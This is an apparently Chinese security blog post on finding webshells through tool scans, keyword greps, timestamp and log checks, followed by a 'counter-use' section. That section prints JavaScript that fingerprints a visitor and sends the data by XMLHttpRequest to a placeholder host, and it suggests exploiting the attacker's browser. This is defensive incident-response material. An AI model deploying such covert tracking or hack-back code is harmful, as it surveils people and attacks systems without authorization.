<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    webshell溯源排查與反制

    VSole2022-04-21 22:27:21

    一、前言

    溯源排查中比較重要的一環是web突破口排查,攻擊者通過web突破口入侵時,有極大的概率會寫入webshell,本文介紹下常見的webshell排查方法和流程。

    二、工具查殺

    使用d盾、安全狗、護衛神等webshell查殺工具查殺web目錄

    1、d盾:

    http://www.d99net.net/

    3、網站安全狗:

    https://www.safedog.cn/website_safedog.html

    3、百度webshell查殺引擎:

    https://scanner.baidu.com/#/pages/intro

    三、手工查殺

    由于某些變種webshell查殺工具很難發現,所以有些時候需要手工從其他維度去查殺,比如修改時間,日志,備份對比等。

    1、上傳目錄關鍵字查找

    上傳目錄是最有可能存在webshell的,一般來說需要優先排查上傳目錄

    腳本代碼排查

    grep -rn php upload/
    

    關鍵字排查

    eval、system、assert、phpspy、c99sh、milw0rm、gunerpress、shell_exec、passthru、bash等關鍵字

    find /www/upload -name "*.php" |xargs egrep 'assert|bash|system|phpspy|c99sh|milw0rm|eval|\(gunerpress|\(base64_decoolcode|spider_bc|shell_exec|passthru|\(\$\_\POST\[|eval\(|file_put_contents|base64_decode'
    

    2、web非上傳目錄排查增刪查改

    如果上傳目錄沒有發現webshell,那么有可能攻擊者使用了除web上傳接口的其他途徑寫入了文件,如命令執行等,此時需要排查web目錄的非上傳路徑。

    備份對比

    對比非常傳目錄前后文件變動,尋找可疑文件,再進一步關鍵字匹配分析

    vimdiff <(cd /tmp/1.1; find . | sort) <(cd /tmp/1.2; find . | sort)
    

    3、時間戳排查

    跟據情況調取短期內改動文件分析

    find / -mtime -10 -mtime +1 2>/dev/null #一天前,十天內變動的文件
    

    4、文件名排查

    使用tree命令列舉整個web目錄文件,然后排查可疑文件

    windows linux都可用

    tree /var/www/
    

    5、日志排查

    cat /var/log/apache2/access.log | grep "antSword"
    

    四、反向利用

    1、篡改webshell頁面利用js獲取攻擊者信息。

    利用js獲取信息例子

    可獲取對方ip、系統時間、瀏覽器各項信息等

    <html>
      <head>
        <meta charset="UTF-8">
        <title>title>
      head>
      <body>
    <script>
      Date.prototype.Format = function (fmt) {
        var o = {
            "M+": this.getMonth() + 1, // 月份
            "d+": this.getDate(), // 日
            "h+": this.getHours(), // 小時
            "m+": this.getMinutes(), // 分
            "s+": this.getSeconds(), // 秒
            "q+": Math.floor((this.getMonth() + 3) / 3), // 季度
            "S": this.getMilliseconds() // 毫秒
        };
        if (/(y+)/.test(fmt))
            fmt = fmt.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length));
        for (var k in o)
            if (new RegExp("(" + k + ")").test(fmt)) fmt = fmt.replace(RegExp.$1, (RegExp.$1.length == 1) ? (o[k]) : (("00" + o[k]).substr(("" + o[k]).length)));
                return fmt;
    }
    script
    >    <script src="http://pv.sohu.com/cityjson?ie=utf-8">script>
         <script> 
              document.write(returnCitySN["cip"]+','+returnCitySN["cname"]+"
    ") 
    script
    >    <script type="text/javascript">
        let time = new Date().Format("yyyy-MM-dd hh:mm:ss")
        document.write(time+"
    ")
    script
    >    <script type="text/javascript">
        document.write("userAgent: " + navigator.userAgent + "
    ");
        document.write("appName: " + navigator.appName + "
    ");
        document.write("appCodeName: " + navigator.appCodeName + "
    ");
        document.write("appVersion: " + navigator.appVersion + "
    ");
        document.write("appMinorVersion: " + navigator.appMinorVersion + "
    ");
        document.write("platform: " + navigator.platform + "
    ");
        document.write("cookieEnabled: " + navigator.cookieEnabled + "
    ");
        document.write("onLine: " + navigator.onLine + "
    ");
        document.write("userLanguage: " + navigator.language + "
    ");
        document.write("mimeTypes.description: " + navigator.mimeTypes[1].description + "
    ");
        document.write("mimeTypes.type: " + navigator.mimeTypes[1].type + "
    ");
        document.write("plugins.description: " + navigator.plugins[3].description + "
    ");
      var str_all = returnCitySN["cip"]+','+returnCitySN["cname"]+','+time+','+navigator.userAgent+','+navigator.appVersion+','+navigator.platform
      var url = "http://xx.xx.xx.xx:8000/?info="+str_all
      var request = new XMLHttpRequest();
      request.open("GET",url)
      request.send();
    script
    >  body>
    html
    >
    

    然后接收服務器寫一個小處理腳本將其保存下來

    為求方便也可以使用xss平臺來接收

    2、利用瀏覽器漏洞反制攻擊者。

    可架設攻擊瀏覽器歷史漏洞的頁面,但是成功概率不高。

    3、反制webshell管理工具

    可參考文章《端內釣魚,反制蟻劍》

    https://mp.weixin.qq.com/s/WNv9nPWvKudwimtYTd1zDQ

    webshell腳本
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    WebShell基礎詳解
    2022-01-07 06:47:08
    顧名思義,“web”的含義是顯然需要服務器開放web服務,“shell”的含義是取得對服務器某種程度上操作權限。webshell常常被稱為入侵者通過網站端口對網站服務器的某種程度上操作的權限。由于webshell其大多是以動態腳本的形式出現,也有人稱之為網站的后門工具。
    顧名思義,“web”的含義是顯然需要服務器開放web服務,“shell”的含義是取得對服務器某種程度上操作權限。webshell常常被稱為入侵者通過網站端口對網站服務器的某種程度上操作的權限。由于webshell其大多是以動態腳本的形式出現,也有人稱之為網站的后門工具。
    Webshell 檢測綜述
    2022-12-15 09:45:32
    通過Webshell,攻擊者可以在目標服務器上執行一些命令從而完成信息嗅探、數據竊取或篡改等非法操作,對Web服務器造成巨大危害。Webshell惡意軟件是一種長期存在的普遍威脅,能夠繞過很多安全工具的檢測。許多研究人員在Webshell檢測領域進行了深入研究,并提出了一些卓有成效的方法。本文以PHP Webshell為例。
    D-Eyes為綠盟科技開源的一款檢測與響應工具,支持在Windows、Linux操作系統下使用...。
    在剛剛結束的“第三屆中國人工智能大賽”上,沖出了一支“黑馬”冠軍戰隊——來自瑞數信息的AI團隊,從164支參賽戰隊中突出重圍,勇奪網絡安全方向A級冠軍。
    一款用Go語言編寫的數據庫自動化提權工具,支持Mysql、MSSQL、Postgresql、Oracle、Redis數據庫提權、命令執行、爆破以及ssh連接等等功能。
    用戶名:加密密碼:密碼最后一次修改日期:兩次密碼的修改時間間隔:密碼有效期:密碼修改到期到的警告天數:密碼過期之后的寬限天數:賬號失效時間:保留。查看下pid所對應的進程文件路徑,
    Web安全-一句話木馬
    2022-07-27 06:43:56
    概述在很多的滲透過程中,滲透人員會上傳一句話木馬到目前web服務目錄繼而提權獲取系統權限,不論asp、php、jsp、aspx都是如此,那么一句話木馬到底是什么呢?
    “2021 年中國網絡威脅檢測與響應市場環境受到網絡威脅、政策監管和企業剛性需求等三方面的驅動。”近日,領先的IT市場研究和咨詢公司IDC發布針對中國NDR產品的《中國網絡威脅檢測與響應市場份額,2021:實戰效果顯著,市場需求明確》報告(以下簡稱《報告》)。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类